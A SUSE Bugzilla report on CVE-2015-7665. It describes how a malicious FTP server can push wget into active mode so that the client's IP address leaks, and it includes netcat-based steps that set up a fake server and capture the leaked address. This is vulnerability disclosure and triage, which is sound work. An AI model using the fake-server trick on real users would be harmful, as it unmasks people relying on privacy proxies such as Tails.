Bugzilla – Bug 944858
VUL-1: CVE-2015-7665: tails: IP address exposure via wget when automatically falling back to active mode
Last modified: 2015-10-02 07:56:28 UTC
via oss-sec http://seclists.org/oss-sec/2015/q3/516 > This was reported to tails-dev [1] and other places [2] and is fixed > upstream [3]. > > [1] https://mailman.boum.org/pipermail/tails-dev/2015-August/009370.html > [2] https://lists.gnu.org/archive/html/bug-wget/2015-08/msg00020.html > [3] http://git.savannah.gnu.org/cgit/wget.git/commit > /?id=075d7556964f5a871a73c22ac4b69f5361295099 > [4] https://packages.debian.org/wheezy/wget A malicious server can trick the client into revealing it's IP address. This is undesirable when using a privacy proxy and is moot otherwise. The leaked address is the internal address in the NAT case. From commit: Fix IP address exposure when automatically falling back from passive mode to active mode (using the PORT command). A behavior that may be used to expose a client's privacy even when using a proxy. My steps to reproduce: A $> nc -lv 8020 B $> wget ftp://A:8020 On A keep entering "200 ok", the following will be printed: > $ wget ftp://dexter:8020 > --2015-09-08 17:11:30-- ftp://dexter:8020/ > => ‘.listing’ > Resolving dexter (dexter)... 10.160.4.160 > Connecting to dexter (dexter)|10.160.4.160|:8020... connected. > Logging in as anonymous ... Logged in! > ==> SYST ... done. ==> PWD ... done. > ==> TYPE I ... done. ==> CWD not needed. > ==> PASV ... > Cannot parse PASV response. > ==> PORT ... On the server side: > $ nc -lv 8020 > Connection from 10.160.4.160 port 8020 [tcp/intu-ec-svcdisc] accepted > 200 ok > USER anonymous > 200 ok > SYST > 200 ok > PWD > 200 ok > TYPE I > 200 ok > PASV > 200 ok > PORT 10,160,4,160,134,42 ^^^^^^^^^^^^ With the change, a PORT command is is not expected in this case.
bugbot adjusting priority
By default wget is using passive FTP. This avoids PORT (resp. EPRT and LPRT). But as system administrator, a user could change the default behavior via /etc/wgetrc and/or you could change it in ~/.wgetrc.
(In reply to Victor Pereira from comment #2) > By default wget is using passive FTP. This avoids PORT (resp. EPRT and LPRT). No, PORT is not avoided by the default. As demonstrated above? > But as system administrator, a user could change the default behavior via > /etc/wgetrc and/or you could change it in ~/.wgetrc. I do not know which option you are referring to, but there is no user configuration option to disable this fallback (only --no-passive-ftp to do the opposite)
An second information leak scenario is leaking of an internal IP address (e.g. from a private range) to an external entity when connecting through NAT.
The configuration says: # By default Wget uses "passive FTP" transfer where the client # initiates the data connection to the server rather than the other # way around. That is required on systems behind NAT where the client # computer cannot be easily reached from the Internet. However, some # firewalls software explicitly supports active FTP and in fact has # problems supporting passive transfer. If you are in such # environment, use "passive_ftp = off" to revert to active FTP. however, at least on opensuse 13.2 (wget 1.15) , just setting explictily passive_ftp = on did the trick.
(In reply to Victor Pereira from comment #5) > The configuration says: > > # By default Wget uses "passive FTP" transfer where the client > # initiates the data connection to the server rather than the other > # way around. That is required on systems behind NAT where the client > # computer cannot be easily reached from the Internet. However, some > # firewalls software explicitly supports active FTP and in fact has > # problems supporting passive transfer. If you are in such > # environment, use "passive_ftp = off" to revert to active FTP. > > > however, at least on opensuse 13.2 (wget 1.15) , just setting explictily > passive_ftp = on did the trick. On openSUSE 13.2, wget-1.16-4.4.1.x86_64 from 13.2 updates, PORT is still triggered: $ grep passive_ftp /etc/wgetrc # environment, use "passive_ftp = off" to revert to active FTP. #passive_ftp = off passive_ftp = on $ yes "200 ok" | nc -lv 8020 & [1] 30062 $ wget ftp://10.160.4.160:8020 --2015-09-09 11:17:24-- ftp://10.160.4.160:8020/ => ‘.listing’ Connecting to 10.160.4.160:8020... connected. Logging in as anonymous ... Connection from 10.160.4.160 port 8020 [tcp/intu-ec-svcdisc] accepted USER anonymous Logged in! ==> SYST ... SYST done. ==> PWD ... PWD done. ==> TYPE I ... TYPE I done. ==> CWD not needed. ==> PASV ... PASV Cannot parse PASV response. ==> PORT ... PORT 10,160,4,160,201,134 done. ==> LIST ... LIST -a LIST Error in server response, closing control connection. Retrying. --2015-09-09 11:17:25-- ftp://10.160.4.160:8020/ (try: 2) => ‘.listing’ Connecting to 10.160.4.160:8020... failed: Connection refused. [1]+ Done yes "200 ok" | nc -lv 8020
now I've got it. If a server answers with an unexpected answer - in the case, the expected answer would be a 227 and not 200, then wget default it to active mode, issuing a PORT command.
Upstream doesn't consider it a security issue. It didn't get a CVE assigned. Therefore we will close it.
CVE-2015-7665 was assigned, but not to wget but to tails: http://seclists.org/oss-sec/2015/q4/8 Leaving at WONTFIX for SLE.